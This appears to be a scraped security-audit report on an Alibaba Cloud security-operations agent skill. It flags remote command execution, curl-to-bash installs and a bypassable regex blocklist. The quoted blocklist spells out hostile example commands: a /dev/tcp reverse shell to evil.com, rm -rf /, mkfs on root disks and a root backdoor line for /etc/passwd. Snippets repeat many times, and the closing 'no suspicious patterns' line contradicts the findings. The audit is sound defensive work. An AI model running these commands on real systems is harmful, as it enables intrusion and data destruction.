T03 · Remote Payload Retrieval and Execution
- Location
scripts/install_security_guardrail.py:245- Finding
Unvalidated Remote Installation Command Executed on ECS Instances
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This appears to be a real Alibaba Cloud security-operations skill, but it can run remote commands and install mutable remote code on ECS hosts without enough enforced safeguards.
Review this skill before installing. Use it only with a dedicated least-privileged Alibaba Cloud identity, restrict ecs:RunCommand to specific ECS instances, avoid automatic plugin updates where possible, verify installer provenance out of band, and require human approval for the exact command and target list before any Cloud Assistant action.
scripts/install_security_guardrail.py:245Unvalidated Remote Installation Command Executed on ECS Instances
SKILL.md:27Aliyun CLI Installation Uses an Unverified curl-to-Shell Pipeline
SKILL.md:31Mandatory Automatic CLI Plugin Installation Introduces an Unpinned Supply Chain
scripts/run_cloud_assistant_command.py:282Remote Arbitrary Command Execution Does Not Enforce Documented User Confirmation
scripts/get_ai_agent_plugin_command.py:75Installation Command and Complete API Response Are Stored in Plaintext
This script exposes a powerful remote command-execution capability over ECS instances and relies on a regex blocklist for safety. In a security-operations skill context, that is risky because blocklists are bypass-prone and an attacker can often rephrase destructive or persistence-establishing shell commands to evade pattern matching, leading to unauthorized code execution across cloud instances.
temctl)\s+(stop|disable|mask|kill)\s+(aliyun[_-]?assist|cloud[_-]?agent|aegis)",
"reason": "禁止停止/禁用云助手 Agent(aliyun_assist_client),会导致实例失联无法远程运维",
"example": "systemctl stop aliyun_assist_client",
},
{
# 禁止:向 crontab 或 /etc/cron* 写入反弹 shell
# 常见攻击手法:通过 crontab 定时执行 bash -i >& /dev/tcp/<ip>/<port> 0>&1
# 将服务器 shell 反弹到攻击者控制的主机,实现持久化远控。
"pattern": r"\/dev\/tcp\/[0-9a-zA-Z._-]+\/[0-9]+",
"reason": "禁止使用 /dev/tcp 反弹 Shell,该手法常用于建立持久化远程控制后门",
"example": "bash -i >& /dev/tcp/evil.com/4444 0>&1",
},
{
# 禁止:通过 curl/wget 将远程脚本直接 pipe 给 bash/sh 执行
# 该模式常用于一键安装木马或挖矿程序,脚本内容完全不透明,风险极高。
# 典型形式:curl http://e
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
The skill instructs users to execute a remote script fetched over the network directly into bash: curl ... | bash. This is a classic supply-chain and arbitrary code execution risk because any compromise of the hosting endpoint, TLS interception failure, DNS hijack, or unexpected script change would result in immediate local code execution with the user's privileges.
**Pre-check: Aliyun CLI >= 3.3.3 required**
> Run `aliyun version` to verify >= 3.3.3. If not installed or version too low,
> run `curl -fsSL https://aliyuncli.alicdn.com/setup.sh | bash` to update.
**Pre-check: Aliyun CLI plugin update required**
> [MUST] run `aliyun configure set --auto-plugin-install true` to enable automatic plugin installation.
Referenced artifact was not completely inspected
- [Remediation and Product Recommendations](references/remediation_guide.md)
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
{
# 禁止:递归强制删除根目录(/ 或 /*)
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
{
# 禁止:递归强制删除根目录(/ 或 /*)
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
{
# 禁止:递归强制删除根目录(/ 或 /*)
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
�报。
# 3. 新增规则时请同步补充 reason 与 example,保持文档化。
# ---------------------------------------------------------------------------
_BLOCKED_PATTERNS: list[dict] = [
{
# 禁止:递归强制删除根目录(/ 或 /*)
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
# 禁止:对根设备执行 mkfs 格式化
# mkfs 会对目标设备重新建立文件系统,原有数据将全部丢失。
# 针对 /dev/vda、/dev/sda、/dev/xvda 等常见云盘设备名称做拦截。
# 典型形式:mkfs.ext4 /dev/vda / mkfs -t xfs /dev/sda
"pattern": r"mkfs(\.[a-z0-
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf /
"pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$",
"reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统",
"example": "rm -rf /",
},
{
# 禁止:对根设备执行 mkfs 格式化
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
"example": "systemctl disable firewalld",
},
{
# 禁止:修改 /etc/passwd 以创建 UID=0 的后门账户
# 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。
# 典型形式:echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
"pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
"example": "systemctl disable firewalld",
},
{
# 禁止:修改 /etc/passwd 以创建 UID=0 的后门账户
# 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。
# 典型形式:echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
"pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
"example": "systemctl disable firewalld",
},
{
# 禁止:修改 /etc/passwd 以创建 UID=0 的后门账户
# 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。
# 典型形式:echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
"pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
"example": "systemctl disable firewalld",
},
{
# 禁止:修改 /etc/passwd 以创建 UID=0 的后门账户
# 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。
# 典型形式:echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
"pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
"example": "systemctl disable firewalld",
},
{
# 禁止:修改 /etc/passwd 以创建 UID=0 的后门账户
# 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。
# 典型形式:echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
"pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
No suspicious patterns detected.